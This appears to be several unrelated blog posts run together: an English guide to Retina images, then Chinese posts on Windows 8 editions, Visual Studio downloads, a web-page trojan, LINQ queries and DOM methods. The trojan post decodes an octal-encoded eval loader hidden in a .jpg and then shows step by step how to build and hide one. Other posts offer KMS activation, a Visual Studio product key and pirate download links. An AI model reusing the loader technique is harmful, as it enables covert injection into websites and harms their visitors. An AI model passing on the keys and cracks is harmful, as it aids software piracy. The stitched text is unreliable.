Apple’s newest devices feature the Retina Display, a screen that packs double as many pixels into the same space as older devices. For designers this immediately brings up the question, “What can I do to make my content look outstanding on these new iPads and iPhones?”. First there are a few tough questions to consider, but then this guide will help you get started making your websites and web apps look amazingly sharp with Retina images!

Things to Consider When Adding Retina Images
The main issue with adding retina images is that the images are double as large and will take up extra bandwidth (this won’t be an issue for actual iOS apps, but this guide is covering web sites & web apps only). If your site is mostly used on-the-go over a 3G network it may not be wise to make all your graphics high-definition, but maybe choose only a select few important images. If you’re creating something that will be used more often on a WI-FI connection or have an application that is deserving of the extra wait for hi-res graphics these steps below will help you target only hi-res capable devices.
Simple Retina Images
The basic concept of a Retina image is that your taking a larger image, with double the amount of pixels that your image will be displayed at (e.g 200 x 200 pixels), and setting the image to fill half of that space (100 x 100 pixels). This can be done manually by setting the height and width in HTML to half the size of your image file.
<img src="my200x200image.jpg" width="100" height="100">
If you’d like to do something more advanced keep reading below for how you can apply this technique using scripting.
Creating Retina Icons for Your Website
When users add your website or web app to their homescreen it will be represented by an icon. These sizes for regular and Retina icons (from Apple) are as follows:
![]()
| iPhone | 57 x 57 |
|---|---|
| Retina iPhone | 114 x 114 |
| iPad | 72 x 72 |
| Retina iPad | 144 x 144 |
For each of these images you create you can link them in the head of your document like this (if you want the device to add the round corners remove -precomposed):
<link href="touch-icon-iphone.png" rel="apple-touch-icon-precomposed" />
<link href="touch-icon-ipad.png" rel="apple-touch-icon-precomposed" sizes="72x72" />
<link href="touch-icon-iphone4.png" rel="apple-touch-icon-precomposed" sizes="114x114" />
<link href="touch-icon-ipad3.png" rel="apple-touch-icon-precomposed" sizes="144x144" />
If the correct size isn’t specified the device will use the smallest icon that is larger than the recommended size (i.e. if you left out the 114px the iPhone 4 would use the 144px icon).
Retina Background Images
Background images that are specified in your CSS can be swapped out using media queries. You’ll first want to generate two versions of each image. For example ‘bgPattern.png’ at 100px x 100px and ‘bgPattern@2x.png’ at 200px x 200px. It will be useful to have a standard naming convention such as adding @2x for these retina images. To add the new @2x image to your site simply add in the media query below (You can add any additional styles that have background images within the braces of the same media query):
.repeatingPattern {
background: url(../images/bgPattern.png) repeat;
background-size: 100px 100px;
}
@media only screen and (-webkit-min-device-pixel-ratio: 2) {
.repeatingPattern {
background: url(../images/bgPattern@2x.png) repeat;
}
}
JavaScript for Retina Image Replacement
For your retina images that aren’t backgrounds the best option seems to be either creating graphics with CSS, using SVG, or replacing your images with JavaScript. Just like the background images, you’ll want to create a normal image and one ‘@2x’ image. Then with JavaScript you can detect if the pixel ratio of the browser is 2x, just like you did with the media query:
if (window.devicePixelRatio == 2) {
//Replace your img src with the new retina image
}
If you’re using jQuery you could quickly replace all your images like this very basic example below. It’s a good idea to add a class to identify the images with hi-res versions so you don’t replace any others by mistake. I’ve added a class=”hires” for this example. Also make sure you have the standard (non-retina) image height and width set in the HTML:
<img class="hires" alt="" src="search.png" width="100" height="100" />
<script type="text/javascript">
$(function () {
if (window.devicePixelRatio == 2) {
var images = $("img.hires");
// loop through the images and make them hi-res
for(var i = 0; i < images.length; i++) {
// create new image name
var imageType = images[i].src.substr(-4);
var imageName = images[i].src.substr(0, images[i].src.length - 4);
imageName += "@2x" + imageType;
//rename image
images[i].src = imageName;
}
}
});
</script>
Server-Side Retina Images
If you’d like to implement a server-side retina image solution, I recommend checking out Jeremy Worboys’ Retina Images (which he also posted in the comments below). His solution uses PHP code to determine which image should be served. The benefit of this solution is that it doesn’t have to replace the small image with the retina one so you’re using less bandwidth, especially if you have lots of images that you’re replacing.
Website Optimization for Retina Displays
If you’re looking for additional information on creating Retina images, I’ve recently had a short book published called Website Optimization for Retina Displays that covers a range of related topics. It contains some of what is above, but also includes samples for many different situations for adding Retina images. It explains the basics of creating Retina images, backgrounds, sprites, and borders. Then it talks about using media queries, creating graphics with CSS, embedding fonts, creating app icons, and more tips for creating Retina websites.
错误提示:无法从其“Visible”属性的字符串表示形式“<%= true %>”创建“System.Boolean”类型的对象。
英文:Cannot create an object of type 'System.Boolean' from its string representation '<%= true %>' for the 'Visible' property.
解决办法:改为
<% if(true) { %>
内容
<% } %>
版本区别
| 功能特性 | Windows RT | Windows 8 (标准版) |
Windows8 Pro (专业版) |
Windows 8 Enterprise (企业版) |
| 与现有Windows 兼容 | 无 | 有 | 有 | 有 |
| 购买渠道 | 在设备上预装 | 大多数渠道 | 大多数渠道 | 经过认证的客户 |
| 架构 | ARM (32-bit) | IA-32 (32-bit) or x86-64 (64-bit) | IA-32 (32-bit) or x86-64 (64-bit) | IA-32 (32-bit) or x86-64 (64-bit) |
| 安全启动 | 有 | 有 | 有 | 有 |
| 图片密码 | 有 | 有 | 有 | 有 |
| 开始界面、动态磁帖以及相关效果 | 有 | 有 | 有 | 有 |
| 触摸键盘、拇指键盘 | 有 | 有 | 有 | 有 |
| 语言包 | 有 | 有 | 有 | 有 |
| 更新的资源管理器 | 有 | 有 | 有 | 有 |
| 标准程序 | 有 | 有 | 有 | 有 |
| 文件历史 | 有 | 有 | 有 | 有 |
| 系统的重置功能 | 有 | 有 | 有 | 有 |
| Play To “播放至”功能 | 有 | 有 | 有 | 有 |
| Connected standby保持网络连接的待机 | 有 | 有 | 有 | 有 |
| Windows Update | 有 | 有 | 有 | 有 |
| Windows Defender | 有 | 有 | 有 | 有 |
| 增强的多显示屏支持 | 有 | 有 | 有 | 有 |
| 新的任务管理器 | 有 | 有 | 有 | 有 |
| ISO 镜像 and VHD 挂载 | 有 | 有 | 有 | 有 |
| 移动通信功能 | 有 | 有 | 有 | 有 |
| Microsoft 账户 | 有 | 有 | 有 | 有 |
| Internet Explorer 10 | 有 | 有 | 有 | 有 |
| SmartScreen | 有 | 有 | 有 | 有 |
| Windows 商店 | 有 | 有 | 有 | 有 |
| Xbox Live 程序 (包括 Xbox Live Arcade) | 有 | 有 | 有 | 有 |
| Exchange ActiveSync | 有 | 有 | 有 | 有 |
| 快速睡眠(snap) | 有 | 有 | 有 | 有 |
| VPN连接 | 有 | 有 | 有 | 有 |
| Device encryption | 有 | 无 | 无 | 无 |
| 随系统预装的Microsoft Office | 有 | 无 | 无 | 无 |
| 桌面 | 部分 | 有 | 有 | 有 |
| 储存空间管理(storage space) | 无 | 有 | 有 | 有 |
| Windows Media Player | 无 | 有 | 有 | 有 |
| Windows Media Center | 无 | 无 | 需另行添加 | 无 |
| 远程桌面 | 只作客户端 | 只作客户端 | 客户端和服务端 | 客户端和服务端 |
| 从VHD启动 | 无 | 无 | 有 | 有 |
| BitLocker and BitLocker To Go | 无 | 无 | 有 | 有 |
| 文件系统加密 | 无 | 无 | 有 | 有 |
| 加入Windows 域 | 无 | 无 | 有 | 有 |
| 组策略 | 无 | 无 | 有 | 有 |
| AppLocker | 无 | 无 | 有 | 有 |
| Hyper-V | 无 | 无 | 仅64bit支持 | |
| Windows To Go | 无 | 无 | 无 | 有 |
| DirectAccess | 无 | 无 | 无 | 有 |
| 分支缓存(BranchCache) | 无 | 无 | 无 | 有 |
| 以RemoteFX提供视觉特效 | 无 | 无 | 无 | 有 |
| Metro风格程序的部署 | 无 | 无 | 无 | 有 |
下载地址
根据下面的 SHA1 或文件名在网上搜索下载地址,下载完成后验证其 SHA1 即可。
Windows 8 (x86) - DVD (Chinese-Simplified)
文件名: cn_windows_8_x86_dvd_915414.iso
SHA1: 0C4A168E37E38EFB59E8844353B2535017CBC587
Windows 8 (x64) - DVD (Chinese-Simplified)
文件名: cn_windows_8_x64_dvd_915407.iso
SHA1: A87C4AA85D55CD83BAE9160560D1CB3319DD675C
Windows 8 Pro VL (x86) - DVD (Chinese-Simplified)
文件名: cn_windows_8_pro_vl_x86_dvd_917720.iso
SHA1: EEEF3C3F6F05115C7F7C9C1D19D6A6A6418B5059
Windows 8 Pro VL (x64) - DVD (Chinese-Simplified) 推荐
文件名: cn_windows_8_pro_vl_x64_dvd_917773.iso
SHA1: 9C4EC9FC4FB561F841E22256BC9DEA6D9D6611FF
Windows 8 Enterprise (x86) - DVD (Chinese-Simplified)
文件名: cn_windows_8_enterprise_x86_dvd_917682.iso
SHA1: 951565D8579C5912FB4A407B3B9F715FBDB77EFE
Windows 8 Enterprise (x64) - DVD (Chinese-Simplified)
文件名: cn_windows_8_enterprise_x64_dvd_917570.iso
SHA1: 1280BC3A38A7001FDE981FA2E465DEB341478667
激活方式
目前流行 KMSmicro 激活,写此文时的最新版本是 4.0,下载地址网上搜之(或联系我)。
离 VS2008 发布已经过去多年了,最近有个项目必须用到,我觉得还是有必要把它的一些信息写下来,特别是下载和注册方式,方便日后查看。我关心的当然是 Team Suite 版本。
zh-hans_visual_studio_team_system_2008_team_suite_trial_x86_dvd_x14-29243.iso 是 90 天试用版 (需要序列号,网上有很多)
这里推荐 MSDN 版(无需序列号,没有使用期限):
Visual Studio Team System 2008 Team Suite (x86) - DVD (Chinese-Simplified)
文件名:zh-hans_visual_studio_team_system_2008_team_suite_x86_dvd_x14-26452.isoSHA1:12d905fb0c6fd02b33cceaad1e5905929f413c0a
有了用这个 SHA1 去网上搜一下,就可以看到一大堆下载地址,譬如:
ed2k://|file|zh-Hans_visual_studio_team_system_2008_team_suite_x86_dvd_X14-26452.iso|4663904256|8E2D6430D819328940B9BF83568589FA|/
SP1 补丁包:
Visual Studio 2008 Service Pack 1 (x86, x64 WoW) - DVD (Chinese-Simplified)
文件名:zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso
SHA1:8C3EA92CBC60CECB30B6262DB475BDE1E2620B36
ed2k://|file|zh-hans_visual_studio_2008_service_pack_1_x86_dvd_x15-12981.iso|941703168|E1647161AA5CA4567B787A5606D2A065|/
今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:
<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>
这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")
代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)
document.write('<iframe src=https://xoyozo.net></iframe>')
至此,整个流程已非常清晰了。
八进制转化为十进制
var a = '144'; alert(parseInt(a, 8)); // 输出为 100
十进制转化为八进制
var a = 100; alert(a.toString(8)); // 输出为 144
ASCII 码转化为字符
var a = 100; alert(String.fromCharCode(a)); // 输出为 d
字符转化为 ASCII 码
var a = "d"; alert(a.charCodeAt(a)); // 输出为 100
如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:
function HTMLEncode(input) {
var converter = document.createElement("DIV");
converter.innerText = input;
var output = converter.innerHTML;
converter = null;
return output;
}
function HTMLDecode(input) {
var converter = document.createElement("DIV");
converter.innerHTML = input;
var output = converter.innerText;
converter = null;
return output;
}
您可以比较一下区别:
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把
document.write('<iframe src=https://xoyozo.net></iframe>')
编码为
\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51
的代码为
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));
然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。
第一步:生成执行语句
declare @name sysname
declare csr1 cursor
for
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
open csr1
FETCH NEXT FROM csr1 INTO @name
while (@@FETCH_STATUS=0)
BEGIN
SET @name='旧架构名.' + @name
print 'ALTER SCHEMA 新架构名 TRANSFER ' + @name
fetch next from csr1 into @name
END
CLOSE csr1第二步:执行上面命令生成的结果
前日(2010年4月12日),微软正式发布了 Microsoft Visual Studio 2010,相信这是个让众多微软开发者们心情激动的一天吧。至于 VS是啥米东东之类的就不再解释了,相关人员请移步维基百科。
微软称 Visual Studio 2010 集成开发环境(IDE)的界面被重新设计和组织,变得更加清晰和简单。新的 IDE 更好的支持了多文档窗口以及浮动工具窗,并且对于多显示器的支持也有所增强。IDE的外壳使用 WPF 重写,内部使用 MEF 重新设计,以提供比先前版本更好的扩展性。
VS2010 的版本较之前版本有所不同,取消了标准版、团队版命名方式等,而采用跟 Window 7 一致的:
| 产品功能 | Professional (专业版) | Premium (高级版) | Ultimate (旗舰版) |
| 测试和诊断 | ≈ | ≈ | √ |
| 测试工具 | ≈ | ≈ | √ |
| 集成开发环境 | √ | √ | √ |
| 数据库开发 | ≈ | √ | √ |
| 开发平台支持 | √ | √ | √ |
| 体系结构和建模 | × | ≈ | √ |
| Lab Management | × | × | √ |
| Team Foundation Server | ≈ | ≈ | √ |
| MSDN 订阅 | ≈ | ≈ | √ |
| 价格 | $1,199 | $5,469 | $11,899 |
(注:√ 支持 × 不支持 ≈ 部分支持)
“只选贵的”符合天朝国情。许多大侠认为官方下载的肯定是未破解的,那是您的错,其实微软也是一只河蟹,记住一个公式:Trial(测试版)+ Key(序列号)= 正式版
分卷下载:(下载后双击part1.exe解压为 VS2010UltimTrial.iso)
VS2010UltimTrialCHS_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrialCHS_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载: X16-60997VS2010UltimTrialCHS.iso 官网下载 迅雷下载
CRC: 0x3DB619A0
SHA-1: 0x8BA7308E1F74AEE8DE6094CE04F78CD21486608D
分卷下载:(下载后双击part1.exe解压为 VS2010UltimTrial.iso)
VS2010UltimTrial_4PartsTotal.part1.exe 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part2.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part3.rar 官网下载 迅雷下载
VS2010UltimTrial_4PartsTotal.part4.rar 官网下载 迅雷下载
完整镜像下载: X16-42552VS2010UltimTrial1.iso 官网下载 迅雷下载
CRC: 0x8095c67f
SHA-1: 0x8371f6a8d090063fcc320617e94854374633df3c
钥匙:YCFHQ-9DWCY-DKV88-T2TMH-G7BHP(需刮开才能看到,显示器刮坏请找经销商)
一、添加引用 using System.Web.SessionState;
二、实现接口 public class Handler : IHttpHandler, IRequiresSessionState { }
三、使用方法 HttpContext.Current.Session["xxx"] = value;
我们继续讲解LINQ to SQL语句,这篇我们来讨论Group By/Having操作符和Exists/In/Any/All/Contains操作符。
Group By/Having操作符
适用场景:分组数据,为我们查找数据缩小范围。
说明:分配并返回对传入参数进行分组操作后的可枚举对象。分组;延迟
1.简单形式:
var q =
from p in db.Products
group p by p.CategoryID into g
select g;
语句描述:使用Group By按CategoryID划分产品。
说明:from p in db.Products 表示从表中将产品对象取出来。group p by p.CategoryID into g表示对p按CategoryID字段归类。其结果命名为g,一旦重新命名,p的作用域就结束了,所以,最后select时,只能select g。当然,也不必重新命名可以这样写:
var q =
from p in db.Products
group p by p.CategoryID;
我们用示意图表示:
如果想遍历某类别中所有记录,这样:
foreach (var gp in q)
{
if (gp.Key == 2)
{
foreach (var item in gp)
{
//do something
}
}
}
2.Select匿名类:
var q =
from p in db.Products
group p by p.CategoryID into g
select new { CategoryID = g.Key, g };
说明:在这句LINQ语句中,有2个property:CategoryID和g。这个匿名类,其实质是对返回结果集重新进行了包装。把g的property封装成一个完整的分组。如下图所示:
如果想遍历某匿名类中所有记录,要这么做:
foreach (var gp in q)
{
if (gp.CategoryID == 2)
{
foreach (var item in gp.g)
{
//do something
}
}
}
3.最大值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
MaxPrice = g.Max(p => p.UnitPrice)
};
语句描述:使用Group By和Max查找每个CategoryID的最高单价。
说明:先按CategoryID归类,判断各个分类产品中单价最大的Products。取出CategoryID值,并把UnitPrice值赋给MaxPrice。
4.最小值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
MinPrice = g.Min(p => p.UnitPrice)
};
语句描述:使用Group By和Min查找每个CategoryID的最低单价。
说明:先按CategoryID归类,判断各个分类产品中单价最小的Products。取出CategoryID值,并把UnitPrice值赋给MinPrice。
5.平均值
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
AveragePrice = g.Average(p => p.UnitPrice)
};
语句描述:使用Group By和Average得到每个CategoryID的平均单价。
说明:先按CategoryID归类,取出CategoryID值和各个分类产品中单价的平均值。
6.求和
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
TotalPrice = g.Sum(p => p.UnitPrice)
};
语句描述:使用Group By和Sum得到每个CategoryID 的单价总计。
说明:先按CategoryID归类,取出CategoryID值和各个分类产品中单价的总和。
7.计数
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
NumProducts = g.Count()
};
语句描述:使用Group By和Count得到每个CategoryID中产品的数量。
说明:先按CategoryID归类,取出CategoryID值和各个分类产品的数量。
8.带条件计数
var q =
from p in db.Products
group p by p.CategoryID into g
select new {
g.Key,
NumProducts = g.Count(p => p.Discontinued)
};
语句描述:使用Group By和Count得到每个CategoryID中断货产品的数量。
说明:先按CategoryID归类,取出CategoryID值和各个分类产品的断货数量。 Count函数里,使用了Lambda表达式,Lambda表达式中的p,代表这个组里的一个元素或对象,即某一个产品。
9.Where限制
var q =
from p in db.Products
group p by p.CategoryID into g
where g.Count() >= 10
select new {
g.Key,
ProductCount = g.Count()
};
语句描述:根据产品的―ID分组,查询产品数量大于10的ID和产品数量。这个示例在Group By子句后使用Where子句查找所有至少有10种产品的类别。
说明:在翻译成SQL语句时,在最外层嵌套了Where条件。
10.多列(Multiple Columns)
var categories =
from p in db.Products
group p by new
{
p.CategoryID,
p.SupplierID
}
into g
select new
{
g.Key,
g
};
语句描述:使用Group By按CategoryID和SupplierID将产品分组。
说明: 既按产品的分类,又按供应商分类。在by后面,new出来一个匿名类。这里,Key其实质是一个类的对象,Key包含两个Property:CategoryID、SupplierID。用g.Key.CategoryID可以遍历CategoryID的值。
11.表达式(Expression)
var categories =
from p in db.Products
group p by new { Criterion = p.UnitPrice > 10 } into g
select g;
语句描述:使用Group By返回两个产品序列。第一个序列包含单价大于10的产品。第二个序列包含单价小于或等于10的产品。
说明:按产品单价是否大于10分类。其结果分为两类,大于的是一类,小于及等于为另一类。
Exists/In/Any/All/Contains操作符
适用场景:用于判断集合中元素,进一步缩小范围。
Any
说明:用于判断集合中是否有元素满足某一条件;不延迟。(若条件为空,则集合只要不为空就返回True,否则为False)。有2种形式,分别为简单形式和带条件形式。
1.简单形式:
仅返回没有订单的客户:
var q =
from c in db.Customers
where !c.Orders.Any()
select c;
生成SQL语句为:
SELECT [t0].[CustomerID], [t0].[CompanyName], [t0].[ContactName],
[t0].[ContactTitle], [t0].[Address], [t0].[City], [t0].[Region],
[t0].[PostalCode], [t0].[Country], [t0].[Phone], [t0].[Fax]
FROM [dbo].[Customers] AS [t0]
WHERE NOT (EXISTS(
SELECT NULL AS [EMPTY] FROM [dbo].[Orders] AS [t1]
WHERE [t1].[CustomerID] = [t0].[CustomerID]
))
2.带条件形式:
仅返回至少有一种产品断货的类别:
var q =
from c in db.Categories
where c.Products.Any(p => p.Discontinued)
select c;
生成SQL语句为:
SELECT [t0].[CategoryID], [t0].[CategoryName], [t0].[Description],
[t0].[Picture] FROM [dbo].[Categories] AS [t0]
WHERE EXISTS(
SELECT NULL AS [EMPTY] FROM [dbo].[Products] AS [t1]
WHERE ([t1].[Discontinued] = 1) AND
([t1].[CategoryID] = [t0].[CategoryID])
)
All
说明:用于判断集合中所有元素是否都满足某一条件;不延迟
1.带条件形式
var q =
from c in db.Customers
where c.Orders.All(o => o.ShipCity == c.City)
select c;
语句描述:这个例子返回所有订单都运往其所在城市的客户或未下订单的客户。
Contains
说明:用于判断集合中是否包含有某一元素;不延迟。它是对两个序列进行连接操作的。
string[] customerID_Set =
new string[] { "AROUT", "BOLID", "FISSA" };
var q = (
from o in db.Orders
where customerID_Set.Contains(o.CustomerID)
select o).ToList();
语句描述:查找"AROUT", "BOLID" 和 "FISSA" 这三个客户的订单。 先定义了一个数组,在LINQ to SQL中使用Contains,数组中包含了所有的CustomerID,即返回结果中,所有的CustomerID都在这个集合内。也就是in。 你也可以把数组的定义放在LINQ to SQL语句里。比如:
var q = (
from o in db.Orders
where (
new string[] { "AROUT", "BOLID", "FISSA" })
.Contains(o.CustomerID)
select o).ToList();
Not Contains则取反:
var q = (
from o in db.Orders
where !(
new string[] { "AROUT", "BOLID", "FISSA" })
.Contains(o.CustomerID)
select o).ToList();
1.包含一个对象:
var order = (from o in db.Orders
where o.OrderID == 10248
select o).First();
var q = db.Customers.Where(p => p.Orders.Contains(order)).ToList();
foreach (var cust in q)
{
foreach (var ord in cust.Orders)
{
//do something
}
}
语句描述:这个例子使用Contain查找哪个客户包含OrderID为10248的订单。
2.包含多个值:
string[] cities =
new string[] { "Seattle", "London", "Vancouver", "Paris" };
var q = db.Customers.Where(p=>cities.Contains(p.City)).ToList();
语句描述:这个例子使用Contains查找其所在城市为西雅图、伦敦、巴黎或温哥华的客户。
总结一下这篇我们说明了以下语句:
| Group By/Having | 分组数据;延迟 |
| Any | 用于判断集合中是否有元素满足某一条件;不延迟 |
| All | 用于判断集合中所有元素是否都满足某一条件;不延迟 |
| Contains | 用于判断集合中是否包含有某一元素;不延迟 |
本系列链接:LINQ体验系列文章导航
LINQ推荐资源
LINQ专题:http://kb.cnblogs.com/zt/linq/ 关于LINQ方方面面的入门、进阶、深入的文章。
LINQ小组:http://space.cnblogs.com/group/linq/ 学习中遇到什么问题或者疑问提问的好地方。
方法:
write,向HTML动态写入内容
writeln,多加一个换行
open,与window.open类似,不建议用
close,当向新打开的文档对象中写完所有的内容后,一定要调用该方法关闭文档流
clear,用于清除文档中的所有内容,建议用document.write("");document.close();这两条语句来实现同样的功能。
getElementById,返回id的对象
getElementByName,返回name的对象组(注意是数组)
getElementByTagName,返回标签名的对象组
createElement,产生一个代表某个HTML元素的对象,随后再其它方法将这个对象插入到文档中。
createStyleSheet,为当前HTML产生一个样式表或增加一条样式规则。
属性:
document.cookie

